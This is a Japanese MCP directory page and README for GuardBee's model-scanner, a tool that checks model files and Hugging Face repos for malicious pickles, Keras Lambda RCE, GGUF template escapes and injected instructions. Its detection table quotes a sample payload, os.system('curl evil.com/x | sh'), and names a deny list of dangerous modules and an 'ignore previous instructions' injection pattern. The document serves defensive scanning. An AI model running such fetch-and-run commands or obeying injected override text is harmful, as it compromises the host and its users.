mcpField
M
model-scanner

model-scanner

ローカル
github.com/GuardBeeセキュリティ22 日前に更新

model-scanner について

model-scannerは、機械学習モデルのファイルやHugging Faceリポジトリのサプライチェーンリスクを調べるMCPサーバー兼コマンドラインツールです。多様な形式を解析し、大容量ファイルを丸ごと読み込まずに検査でき、CI/CD向けにSARIFを出力します。

主な機能

  1. 01pickle、PyTorch、joblib、NumPyファイルのスキャン
  2. 02safetensors、Keras、TensorFlow、ONNX、GGUFの検査
  3. 03固定コミットのHugging Faceリポジトリのスキャン
  4. 04危険なpickle参照や不正な構造の検出
  5. 05大容量ファイルの読み取り量を制限
  6. 06SARIF形式での検出結果の出力

活用シーン

  1. 01ダウンロードしたモデルを読み込む前の確認
  2. 02固定リビジョンのHugging Faceモデルのスキャン
  3. 03CI/CDへのモデルファイル検査の追加

MCP 対応

単一モデルファイル、ディレクトリ、Hugging Faceリポジトリのスキャンと、検出パターンの一覧表示を行うツールをMCPクライアントに公開します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}
起動コマンドnpx -y @guardbee/mcp-model-scanner

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
npm@guardbee/mcp-model-scanner0.4.0

ツール

3

掲載時のツール一覧 · 6 日前に更新

パラメーター型必須説明
pathstringはいモデルファイルの絶対パスまたは相対パス(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx)

詳細

@guardbee/mcp-model-scanner

🇬🇧 英語 | 🇹🇷 トルコ語 | 🇨🇳 中国語 | 🇯🇵 日本語 | 🇰🇷 韓国語 | 🇧🇷 ポルトガル語 | 🇪🇸 スペイン語 | 🇩🇪 ドイツ語

npm バージョン npm ダウンロード数 ライセンス:MIT

ML モデルファイル自体をスキャンしてサプライチェーンリスクを検出する MCP(Model Context Protocol)サーバーです。ファイルを読み込むコードではなく、ファイルそのものを対象とします。

多くの「AI セキュリティ」ツールは、統合コードや、そのコードを通じてやり取りされるプロンプトを調べます。このパッケージは、Hugging Face、レジストリ、または S3 バケットからあなた(またはチームメイト、あるいは pip install)がダウンロードしたアーティファクトを調べます。または、コミットを指定して Hugging Face のリポジトリを直接調べます。.pt/.pth/.pkl/.joblib のチェックポイントはpickleファイルです。アンピックリングは単なるデータのデシリアライズではなく、ファイルの読み込み時に任意の Python コードを実行する可能性があります(torch.load()、pickle.load() など)。悪意のあるチェックポイントは、仮説上の脅威ではなく、実際に存在する、十分に記録された攻撃ベクトルです。

テレメトリーはデフォルトでオフです。GUARDBEE_TELEMETRY=1 を設定すると、サーバー、ツール、成功の有無、処理時間、およびファイルパスなど短いパラメーター値が送信されます。長い文字列や、content、token、password などのフィールドはプレースホルダーに置き換えられます。詳細は @guardbee/mcp-telemetry を参照してください。

Claude ──► model-scanner ──► Your model files
              │
              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, walk the pickle
              ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
              ├─ .joblib / .jbl       → pickle + the array bytes and nested pickles joblib embeds
              ├─ .npy / .npz          → object arrays (pickled data), pickles disguised as NumPy
              ├─ .safetensors         → header structure + disguised-binary check
              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
              ├─ .onnx                → external_data path-traversal heuristic
              ├─ .gguf                → header/tensor bounds, chat-template SSTI and injected text
              ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
              └─ hf://owner/repo@rev  → every model file of a Hugging Face repo at one commit

pickle が中核である理由

pickle ストリームは、小さなスタック VM 用のバイトコードです。GLOBAL/STACK_GLOBAL オペコードは、インポート可能な Python オブジェクトを任意に指定でき、その直後のオペコードで通常はそのオブジェクトを呼び出します。巧妙に細工された pickle が、テンソル再構築関数の代わりに os.system や subprocess.Popen を指定するのを防ぐ仕組みはありません。pickle.load()/torch.load() はそれを問題なく解決して呼び出します。これは、picklescan/fickling/Hugging Face の Picklescan 統合などのツールが基盤としているのと同じ手法です。

このパッケージは、Python を呼び出したり正規表現を使ったりするのではなく、pickle マシンをゼロから実装しています(プロトコル 0~5)。オペコードストリームをバイト単位で走査し、何も呼び出さずにスタックとメモを追跡するため、プロトコル 4 以降の STACK_GLOBAL についても、NumPy 2 の pickle で行われるように、メモから取り出した文字列を含め、スタック上に実際にあるモジュールと名前を解決できます。生のバイト列に対する正規表現では、見落としや誤検出が頻発します。

joblib にも同じマシンが必要です。joblib.dump は、各 NumPy 配列の生バイト列(オブジェクト配列の場合は、ネストされた pickle 全体)を NumpyArrayWrapper の直後に書き込みます。スキャナーはスタックからラッパーの shape と dtype を読み取り、該当するバイト数だけ正確にスキップして、ネストされた pickle も確認します。

見つかったすべての GLOBAL/STACK_GLOBAL/INST 参照は、次の基準で確認されます。

  • テンソルのデシリアライズ経路に正当な理由で現れることのないモジュールの拒否リスト(os、subprocess、socket、builtins.eval、ctypes など)→ critical/high として報告
  • 実際の ML フレームワークが参照するモジュールの許可リスト(numpy、torch、sklearn、collections など)→ 安全と判断し、警告なし
  • それ以外 → medium(「悪意のある」ではなく「不明」——誤検出率を低く抑えつつ、手動レビューの対象とします)

PyTorch のデフォルトの ZIP ベースのチェックポイント形式では、スキャナーは Zip64 に対応した ZIP 中央ディレクトリをディスクから直接読み取り、小さな data.pkl メタデータエントリだけを特定して抽出します。数ギガバイトのチェックポイント全体がメモリに読み込まれることはありません。


特長

  • 実際の pickle 解析 — 正規表現でも Python のサブプロセス呼び出しでもなく、スタックを追跡する pickle マシンを使用します
  • 6 つのリスクカテゴリ(コード実行、プロセス実行、ネットワーク、ファイルシステム、リフレクション、デシリアライズ)にわたる 44 個の危険なグローバルルール。dill のコードオブジェクトおよびインポートガジェットも含みます
  • PyTorch zip コンテナに対応(Zip64 を含む) — チェックポイント全体を読み込まずに data.pkl を抽出してスキャンします
  • joblib — 埋め込み配列を飛ばして、ファイル内のすべての pickle オペコードを走査します。ネストされたオブジェクト配列の pickle も含みます。zlib/gzip ダンプは展開されます
  • NumPy .npy/.npz — オブジェクト配列(pickle として保存され、allow_pickle=True で読み込まれるもの)と、NumPy 拡張子に変更された通常の pickle に対応します
  • .safetensors の構造検証 — 不正なヘッダーや範囲外のヘッダーを検出し、.safetensors 拡張子を偽装した pickle/zip も検出します
  • Keras Lambda レイヤーの RCE — .h5、Keras 3 の .keras zip、SavedModel の keras_metadata.pb に対応します
  • ONNX external_data のパストラバーサルヒューリスティック
  • GGUF — ヘッダーのカウント、文字列と配列の長さ、テンソルの次元、型、データ範囲をファイルと照合して検証します。チャットテンプレートでは、Jinja サンドボックスの回避、隠し文字、モデルを標的とする指示をチェックします
  • TensorFlow — SavedModel、凍結 GraphDef(.pb/.pbtxt)、およびファイルの読み書き、Python の呼び出し、デバッグ URL へのテンソル送信を行う TFLite Flex 演算に対応します
  • Hugging Face リポジトリ — scan_hf_repo/scan hf://owner/repo@revision はリビジョンをコミットに解決し、そのコミットに含まれるすべてのモデルファイルをスキャンします
  • あらゆる箇所で読み取り範囲を制限します(pickle の先頭部分は 10MB、safetensors のヘッダー上限は 100MB、zip エントリーの上限は 50MB、GGUF と joblib は 4MB のウィンドウを通じて読み取ります)。展開爆弾への対策となり、巨大なモデルファイルでも OOM を起こしません
  • SARIF 2.1.0 出力 — CI/CD との統合(GitHub Code Scanning など)
  • guardbee.yml による設定ファイルのサポート
  • すべての形式について悪意のあるフィクスチャと無害なフィクスチャを用いた 82 件の単体テストに加え、人気のある公開モデルを対象とした誤検知チェック

クイックスタート

Claude Desktop/MCP クライアント
{
  "mcpServers": {
    "guardbee-model-scanner": {
      "command": "npx",
      "args": ["-y", "@guardbee/mcp-model-scanner"]
    }
  }
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

リポジトリモードでは、リビジョンをコミット SHA に解決し、そのコミットからすべてのファイルを読み取るため、結果は固定されたスナップショットを示します。検出箇所は hf://owner/repo@sha/path を指します。256 MB 以下のファイルは全体をダウンロードします。それより大きいファイルは先頭の 64 MB に加え、zip コンテナの場合は末尾の 64 MB(セントラルディレクトリ)もチェックします。ここには、チェック対象となるすべてのヘッダー、pickle ストリーム、テンソルテーブルが含まれます。


MCP ツール

ツール説明
scan_file単一のモデルファイルをスキャンします
scan_directoryモデルファイルのディレクトリを再帰的にスキャンします(saved_model.pb を通じた SavedModel のスキャンを含む)
scan_hf_repo固定されたコミットにある Hugging Face モデルリポジトリのすべてのモデルファイルをスキャンします
list_patternsリスクカテゴリ別の危険なグローバルのカタログと、チェック対象の TensorFlow 演算を一覧表示します

検出する内容

形式チェック内容重大度例
pickle / PyTorchos、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands への参照重大os.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__、pickle.loads、marshal.loads重大再帰/入れ子のペイロード、または直接の eval
pickle / PyTorchbuiltins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen高情報流出、SSRF、ファイルの読み取り/書き込み
safetensorsヘッダーが長さではなく pickle/zip シグネチャで始まる重大.pkl の拡張子を .safetensors に変更したファイル
safetensorsテンソルの data_offsets が実際のデータセクションを超えている高範囲外を読み取るパーサー
safetensorsヘッダー長が無効/過大、またはヘッダーが JSON ではない高破損したヘッダー、または悪意をもって細工されたヘッダー
Keras .h5/.keras/SavedModelモデル設定内の class_name: "Lambda"重大読み込み時にマーシャリングされた関数による RCE
ONNXexternal_data の location に .. が含まれている高任意のファイルへのパストラバーサル
dilldill._dill._create_code/_create_function/_eval_repr重大読み込み時に呼び出される、バイトコードから再構築された関数
dilldill._dill._import_module/_get_attr/_create_filehandle高os を指定せずに os.system に到達
joblibメインストリームまたは入れ子のオブジェクト配列 pickle 内にある、pickle のルールすべてルールに準じる実際の配列の後ろに隠されたペイロード
NumPyオブジェクト dtype、または .npy 拡張子の pickle中/高np.load(..., allow_pickle=True) がそのファイルをアンピックルする
GGUFPython 内部(__class__、__globals__、…)に到達するチャットテンプレート重大Jinja サンドボックスの回避(CVE-2024-34359)
GGUFメタデータ内の隠し Unicode 文字、または「以前の指示を無視」といった形式のテキスト高あらゆる会話に注入される指示
GGUFファイルと一致しないカウント、長さ、次元、またはテンソルの境界高未修正のローダーでのヒープオーバーフロー
TensorFlowfile:// への WriteFile / ReadFile / PyFunc / ファイルデータセット / PrintV2重大~中サービングホストにアクセスするグラフ

危険なグローバルの全カタログ:list_patterns ツールを実行するか、src/dangerousGlobals.ts を参照してください。

0.4 で追加されたルール ID
ルール ID重大度
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_*重大/高
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized低/中
numpy_object_array中
numpy_disguised_pickle高
numpy_bad_header, numpy_npz_unreadable中
numpy_npz_entry_unreadable, numpy_npz_partial_scan低
gguf_chat_template_ssti重大
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic高
gguf_duplicate_tensor, gguf_tensor_misaligned中
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsed低
tf_op_writefile重大
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunc高
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug*中
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadable中
tf_graph_too_large低

SARIF 出力の形式は変わりません。各ルール ID は、従来どおり rules[] のエントリーになります。

公開モデルでの検証結果

2026-10-30 に scan hf://… でスキャンしました。これらのリポジトリで検出された項目はすべて記載しており、誤検出はありません。「部分スキャン」に関する低リスクの注記は、pickle、H5、ONNX のチェックで読み込む 10 MB の先頭部分より大きいファイルに起因します。

Repo @ commit形式検出結果
openai-community/gpt2@607a30dPyTorch(旧式 pickle)、safetensors、H5、ONNX、TFLite低リスクの部分スキャンに関する注記 5 件
google-bert/bert-base-uncased@86b5e09PyTorch、safetensors、H5、ONNX低リスクの部分スキャンに関する注記 3 件
sentence-transformers/all-MiniLM-L6-v2@1110a24PyTorch、safetensors、H5、9 種類の ONNX バリアント低リスクの部分スキャンに関する注記 10 件
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5dGGUF(fp16、K-quants を含む 9 種類の量子化)なし
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946GGUF(IQ タイプを含む 18 種類の量子化)低リスクの注記 3 件:ggml から削除されたテンソル型 31~33
microsoft/Phi-3-mini-4k-instruct-gguf@a641133GGUFなし
keras-io/ocr-for-captcha@1d695c4SavedModel + keras_metadata.pbなし
keras-io/timeseries-anomaly-detection@5712601SavedModel。プロファイラーの .pb ファイルはグラフではないためスキップなし
suno/bark-small@1dbd7a1PyTorch、話者プロンプト .npy 783 件なし
julien-c/wine-quality@90ef3b7scikit-learn joblibなし
mcpotato/42-eicar-street@8fb61c4Hugging Face の悪意ある pickle のテストリポジトリmodel_broken_X.pkl:重大な builtins.exec(モデル拡張子を持つペイロードはこれのみ)

これらは誤検出率を低く抑えるよう調整されたヒューリスティックによる検出結果です。特に HDF5 と ONNX は複雑なバイナリ/protobuf 形式であり、完全な構造解析ではなく、範囲を限定したテキストパターン検索でスキャンしています。検出結果はすべて確認してください。問題が検出されなかったからといって、正式な安全性が証明されたわけではありません。


設定(guardbee.yml)

model-scanner:
  fail-on: high       # any | critical | high | medium | low | none
  max-files: 2000
  exclude:
    - "fixtures/"

制限事項(設計上のもの)

  • 生の(ZIP ではない)pickle ストリームは先頭の 10 MB のみスキャンします(joblib ファイルは末尾まで走査します)。危険なグローバルは pickle ストリーム内でインスタンスより先に参照される必要があるため、この制限は、巨大なレガシーチェックポイント全体をメモリに読み込むこととの妥当なトレードオフです。
  • ZIP の展開でサポートするのは STORED と DEFLATE のみです(PyTorch のデフォルトのチェックポイント形式に対応します)。
  • HDF5/ONNX のチェックは範囲を限定した先頭部分のパターンに基づいており、完全な構造解析/protobuf 解析ではありません。
  • bz2、xz、lzma、lz4 で圧縮された joblib ファイルは報告されますが、展開されません。GGUF v1 とビッグエンディアンの GGUF ファイルは報告されますが、解析されません。
  • TFLite のチェックでは Flex デリゲートの演算名を探します。組み込みの TFLite 演算はテンソル計算のみです。
  • GGUF の命令チェックでは、一般的なインジェクション表現と不可視文字を探します。巧妙に言い回された命令は検出をすり抜ける可能性があります。自分で構築していないモデルのチャットテンプレートは確認してください。
  • このスキャンの対象はファイルであり、実行時の動作ではありません。コードの実行やサンドボックス化は行いません。

開発

npm run build
npm test             # 82 unit tests

ライセンス

MIT — GuardBee

フィードバック

質問、アイデア、または誤検出がありますか?GitHub Discussionsでスレッドを開始するか、issue を作成してください。GuardBee が役に立った場合は、リポジトリに ⭐ を付けていただくと、ほかのユーザーにも見つけてもらいやすくなります。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。